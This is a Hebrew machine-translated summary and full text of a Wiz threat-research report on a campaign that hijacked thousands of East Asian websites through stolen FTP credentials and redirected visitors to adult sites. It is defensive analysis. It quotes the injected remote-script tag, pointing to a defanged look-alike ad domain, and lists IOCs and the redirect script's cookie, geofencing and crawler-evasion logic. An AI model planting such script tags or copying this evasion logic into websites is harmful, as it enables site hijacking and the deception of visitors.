קרוסלת הפניות: אלפי אתרים שנחטפו במזרח אסיה
אמ;לק
מודהנת אירוע רחב היקף של חטיפת אתרים במזרח אסיה, בו עשרות אלפי אתרים הופנו מחדש לתוכן למבוגרים. התקרית, שהחלה בספטמבר 2022, סיכנה מאות אלפי משתמשים ומדגישה את הצורך באבטחת אתרים מקיפה באזור.
סיכום בעברית: מערכת VibeSec · מדיניות המקורות
נוסף ל-VibeSec:
כותרת מקורית: Redirection Roulette: Thousands of hijacked websites in East Asia redirecting visitors to other sites

התוכן המלא בעברית
תרגום אוטומטי מהמקור; מונחים טכניים נשארו באנגלית. לנוסח המחייב — הכתבה המקורית.
בחודשים האחרונים חקרנו מבצע סייבר בקנה מידה גדול המנצל אישורי FTP לגיטימיים שהושגו באמצעות וקטור תקיפה לא ידוע. במקרים רבים, מדובר היה באיישורי FTP מאובטחים שנוצרו אוטומטית, שהתוקף הצליח בדרך כלשהי להשיג ולנצל לצורך השתלטות על אתרים. אנו מפרסמים את ממצאינו למרות זאת, ונשמח לשתף פעולה במחקר זה, שכן הפעילות עדיין נמשכת.
מאז תחילת ספטמבר 2022, גורם איום לא ידוע פרץ בהצלחה לעשרות אלפי אתרים המיועדים בעיקר לקהל במזרח אסיה (East Asian), והפנה מאות אלפי משתמשים שלהם לתוכן למבוגרים. בכל מקרה, גורם האיום החדיר קוד זדוני לדפי אינטרנט המוצגים למשתמשים, אשר נועד לאסוף מידע על סביבת המבקרים ולהפנות אותם לעיתים לאתרים אחרים, בהתאם למקריות ומיקומו הגיאוגרפי של המשתמש.
האתרים שנפגעו כוללים אתרים רבים בבעלות חברות קטנות וכמה המופעלים על ידי תאגידים רב-לאומיים. הם מגוונים מבחינת ערימות הטכנולוגיה ושירותי האירוח שלהם, מה שמקשה על איתור פגיעות ספציפית, תצורה שגויה או מקור לאישורים שהודלפו שגורם האיום עשוי לנצל. בכמה מקרים, כולל בתוך שרת דבש (honeypot) שהקמנו כדי לחקור את הפעילות הזו, גורם האיום התחבר לשרת היעד באמצעות אישורי FTP לגיטימיים שהשיג בדרך כלשהי בעבר.
על אף שלא הצלחנו לקבוע כיצד גורם האיום השיג גישה ראשונית לשרתי האינטרנט שנפגעו או מהיכן הגיעו האישורים הגנובים, החלטנו לפרסם את ממצאינו כדי להעלות את המודעות לפעילות מתמשכת זו. בהתחשב באופי אתרי היעד, אנו מאמינים כי המניעים של גורם האיום הם ככל הנראה כלכליים, וייתכן שהם פשוט מתכוונים להגדיל את התנועה לאתרים אלה ממדינות ספציפיות ולא מעבר לכך. עם זאת, ההשפעה על האתרים שנפגעו ועל חוויית המשתמש שקולה להשחתת אתר (defacement), וכל חולשה שהגורם מנצל כדי להשיג גישה ראשונית לאתרים אלו עלולה להיות מנוצלת על ידי גורמים אחרים כדי לגרום נזק חמור יותר.
אם אתם מנהלים את האתר שלכם באמצעות FTP, אנו ממליצים להשתמש ב-FTPS או SFTP עם שילוב חזק של שם משתמש וסיסמה. אם אתם מזהים אינדיקטורים לפריצה (IOCs) הקשורים לפעילות זו בסביבתכם, עליכם לרענן את האישורים שלכם, להתקין מחדש תוכנה ממקור מהימן ולשחזר נכסים שנפגעו לגרסאות נקיות קודמות.
אנא אל תהסס לפנות אל Wiz Threat Research בכתובת threat.hunters@wiz.io אם הושפעת מפעילות זו או אם ברצונך להחליף מידע שעשוי לסייע בניתוח מתמשך.
בתחילת אוקטובר 2022, כחלק מעבודתנו עם לקוחות לחקירת איומים על סביבות הענן שלהם, למדנו על כמה Azure Web Apps שנפגעו והתארחו במזרח אסיה, אשר הפנו משתמשים לאתר למבוגרים. בכל אחד מהמקרים הללו, נקודת קצה של FTP המשמשת לניהול אפליקציית האינטרנט נגישה על ידי גורם לא ידוע באמצעות אישורים לגיטימיים (סיסמאות ארוכות ומורכבות שלא סביר שנכללו כחלק מהתקפת מילון של כוח גס - brute-force). הגורם שינה דפי אינטרנט קיימים והוסיף שורה אחת של קוד HTML, בצורה של תג סקריפט המפנה לסקריפט JavaScript המתארח מרחוק. במקרים רבים, על סמך ניתוח יומני ה-FTP הרלוונטיים, הגורם התחבר לנקודות קצה אלו מכתובת IP סטטית (172.81.104[.]64).
ככל שהעמקנו בחקירה, גילינו שהמקרים שנראו מבודדים היו למעשה חלק ממערך קמפיינים גדול בהרבה שפגע בהצלחה באלפי אתרים, כולל כמה המופעלים על ידי תאגידים רב-לאומיים גדולים המכוונים לקהלים במזרח אסיה. בהתבסס על נתונים מ-publicwww ו-SimiliarWeb, אנו מציעים הערכה שמרנית של לפחות 10,000 אתרים שנפגעו בעת כתיבת שורות אלה (ללא ספירת תת-דומיינים), המפנים מאות אלפי משתמשים בסך הכל מדי חודש. אתרים אלו מגוונים מאוד מבחינת הטכנולוגיות והתשתית שלהם, ולמעשה רק חלק קטן מהם הם Azure Web Apps.
בהתחשב בשיטת ההפניה ובאופי אתרי היעד, הנחנו בתחילה שמדובר בהשחתה, אך מאז שקלנו את האפשרות שהמטרה עשויה להיות הונאת מודעות, מניפולציית SEO, או אולי פשוט הזרמת תנועה לא אורגנית לאתרים אלה. לא צפינו בסימנים כלשהם להתחזות (phishing), גניבת נתונים מהדפדפן (web skimming), או הדבקה בתוכנה זדונית, וטרם זיהינו ראיות שיוכלו לשפוך אור על המניעים המדויקים של גורם האיום.
הגענו למסקנה שסביר להניח שפעילות זו החלה בתחילת ספטמבר 2022 (בהתבסס על תאריכי רישום דומיין ודיווח על קורבנות) וכללה פריצה מתמשכת לשרתי אינטרנט, איסוף מידע על המבקרים שלהם, ורק לפעמים הפנייתם לאתרים אחרים עם תוכן למבוגרים או הימורים.
אתרים שנפרצו על ידי גורם איום זה שונו כך שיכללו אחת מכמה תגיות JavaScript (אם כי במקרים מסוימים קוד JavaScript זדוני מוזרק ישירות לקבצים קיימים בשרת, כפי שמוסבר להלן). בהתחשב בתוכן המוזרק הסטטי ובשימוש של גורם האיום ב-FTP כדי לשנות קבצים ישירות בשרת, נראה כי האפשרות ל-malvertising כווקטור תקיפה נשללת.
תגי הסקריפט שהוזרקו גורמים למבקרים להוריד ולהפעיל סקריפט JavaScript המתארח בשרת הנשלט על ידי תוקף עם URL הנראה דומה לשירות לגיטימי (כגון tpc.googlesyndication[.] wiki , שמתחזה ל-tpc.googlesyndication. com הלגיטימי):
< script type = "text/javascript" src = "https://tpc.googlesyndication[.]wiki/sodar/sodar2.js" ></ script >
נראה שהשינויים הללו מבוצעים באופן אוטומטי, מכיוון שזיהינו מקרים שבהם אותו אתר הכיל יותר מתג אחד, מה שמצביע על כך שנפרץ יותר מפעם אחת (דבר שהוכח כמועיל למחקר שלנו, שכן הוא אפשר לנו לגלות גרסאות חדשות). בנוסף, תג ה-JavaScript מתווסף כמעט תמיד לסוף הקטע <head> של דפי HTML או כשורה האחרונה בקבצי JavaScript. ראינו גם תקלות בתהליך זה, כמו תגיות שנוספו לסוף קבצים בינאריים כגון סרטונים (שם לא תהיה להן השפעה).
זיהינו גם פרויקט GitHub שנראה כאילו נפגע באופן דומה, שבו commit הוסיף שתי גרסאות של התג JavaScript הזדוני לדפים שונים. זה עשוי לרמוז ששחקן האיום ניסה להשיג גישה לא חוקית למאגרי קוד במאמץ להדביק אתרים הקשורים אליו.
השרתים הזדוניים נמצאים כולם מאחורי Cloudflare ומוגבלים גיאוגרפית כדי להגביל את הרצת סקריפט ה-JavaScript למשתמשים המתחברים ממדינות מסוימות במזרח אסיה. בנוסף, הסקריפט משתמש בטכניקת הסוואה נפוצה של התאמת ה-user agents ומפנים (referrers) של המבקרים לרשימה של סורקי אינטרנט ומנועי חיפוש ידועים (כמו GoogleBot או Baidu) והתעלמות מבקשות כאלה. עם זאת, הדבר אינו מונע מסורקי האינטרנט הללו לאנדקס את שורת הקוד הזדוני באתרים שנפגעו, מה שהקל עלינו לזהות אותם.
עד כה, הצגנו שרתים רבים שאנו מעריכים שהם קשורים לפעילות זו, שכל אחד מהם מארח וריאציה של הסקריפט JavaScript הנ"ל תוך שהוא מתחזה ל-URL לגיטימי (בדרך כלל על ידי שינוי התחום ברמה העליונה):
אף שאיננו יכולים להיות בטוחים לחלוטין שכולם חלק מאותו אשכול פעילות ומופעלים על ידי אותו גורם איום, הסקריפטים של ה-JavaScript בנויים כולם באופן דומה, משתמשים בטכניקות ערפול דומות, וכוללים מחרוזות הניתנות לזיהוי ייחודי (בטקסט רגיל או מעורפל), כגון רשימת סורקים להתעלמות (ראה סעיף הבא). בנוסף, נראה שמספר שרתים אלה מריצים NGINX, וכמה שמות מתחם נרשמו באמצעות PorkBun. הדומיינים minjs[.]us ו-metamarket[.]quest הם ייחודיים בכך שכתובות ה-IP המקוריות שלהם נחשפו ברשומות DNS היסטוריות (193.109.120[.]45 ו-159.69.123[.]158, בהתאמה, על סמך נתוני DNS פסיביים פרטיים אך ניתנים לאימות ציבורי). האחרון היה פעיל עד סוף פברואר 2023, ושימש בעבר אישור עבור googlesyndication[.]wiki, דבר המדגים קישור נוסף בין דומיינים אלו.
היגיון ההפניה מחדש של הסקריפט JavaScript כנראה בודק קבוצה של תנאים מסוימים (שהשתנו עם הזמן) ומפנה את המבקר לאתר היעד רק אם התנאים הללו התקיימו. בגרסה האחרונה (נכון לפברואר 2023), חלק מהתנאים האלה הם כדלקמן:
• כל גרסת סקריפט מכילה שדה הסתברות המוגדר למספר בין 0 ל-1. כאשר הסקריפט מורץ, מחושב מספר אקראי בין 0 ל-1, ואם הוא נמוך מערך ההסתברות, מוגדר עוגייה (cookie) במחשב של המשתמש עם תוקף של 24 שעות, והמשתמש מנותב לאחר מכן לאתר היעד הרשום בשדה srcAddress.
• אם כבר הוגדרה קובץ cookie במחשב של המשתמש, אז בפעם הבאה שהם מבקרים באתר כלשהו שנפרץ על ידי אותה גרסה, הם מנותבים אוטומטית לאתר היעד הרשום בשדה srcAddress, תוך התעלמות מערך שדה ההסתברות (לכן יש נטייה לקרוא לזה "עוגיית מזל"). גרסאות סקריפט שונות משתמשות לפעמים בשמות שונים עבור קובצי ה-cookie שלהם (דוגמאות שנצפו כוללות qwertvy ו-bdstatics).
• מעניין לציין שאם המשתמש משתמש בדפדפן Android והדגל config.androidApk מופעל בסקריפט, במקום להפנות את המשתמש לאתר הרשום בשדה srcAddress, הוא מופנה למשאב הרשום בשדה downloadSrc. בדוגמאות שניתחנו, מדובר היה ב-googleplay[.]com/chrome.apk או google[.]com/google.apk (בהתאם לגרסה). שים לב שאף אחד מהמשאבים הללו לא קיים בפועל, ומעולם לא ראינו גרסה שבה config.androidApk מופעל. ייתכן שמדובר פשוט במצייני מיקום והפונקציונליות שלהם טרם יושמה במלואה.
• כפי שהוזכר לעיל, אם סוכן המשתמש הוא של סורק אינטרנט ידוע, או שהמפנה הוא של מנוע חיפוש מוכר, המשתמש לא מנותב מחדש (פונקציונליות זו מיושמת בפונקציות isSpider ו-searchEngine, בהתאמה). להלן רשימה של סורקים הכלולים בסקריפט:
bot | googlebot | crawler | spider | robot | crawling | Bytespider | Googlebot | Baiduspider | MSN Bot \/ Bingbot | Yandex Bot | Soso Spider | Sosospider | Sogou Spider | 360Spider | Yahoo! Slurp China | Yahoo! | YoudaoBot | YodaoBot | Sogou News Spider | msnbot | msnbot-media | bingbot | YisouSpider | ia_archiver | EasouSpider | JikeSpider | EtaoSpider | SemrushBot
העלינו תיאוריה שמטרת שדה ההסתברות עשויה להיות איזון עומסים (כדי למנוע עומס יתר על התשתית של גורם האיום או על אתרי היעד), או אולי מסיבות של ביטחון תפעולי: מכיוון שהתנהגות ההפניה נראית לא עקבית (בשילוב הגיאופנסינג שהוזכר לעיל), ייתכן שיהיה קשה יותר למשתמשים או למנהלי אתרים לזהות את הבעיה ולמצוא את המקור (כפי שמעידים דיונים בפורומים ציבוריים בין משתמשים המתווכחים האם אתר מסוים נדבק או לא). בתיאוריה, זה יכול להגדיל את הסיכוי ששרת אינטרנט יישאר פרוץ לתקופה ארוכה יותר.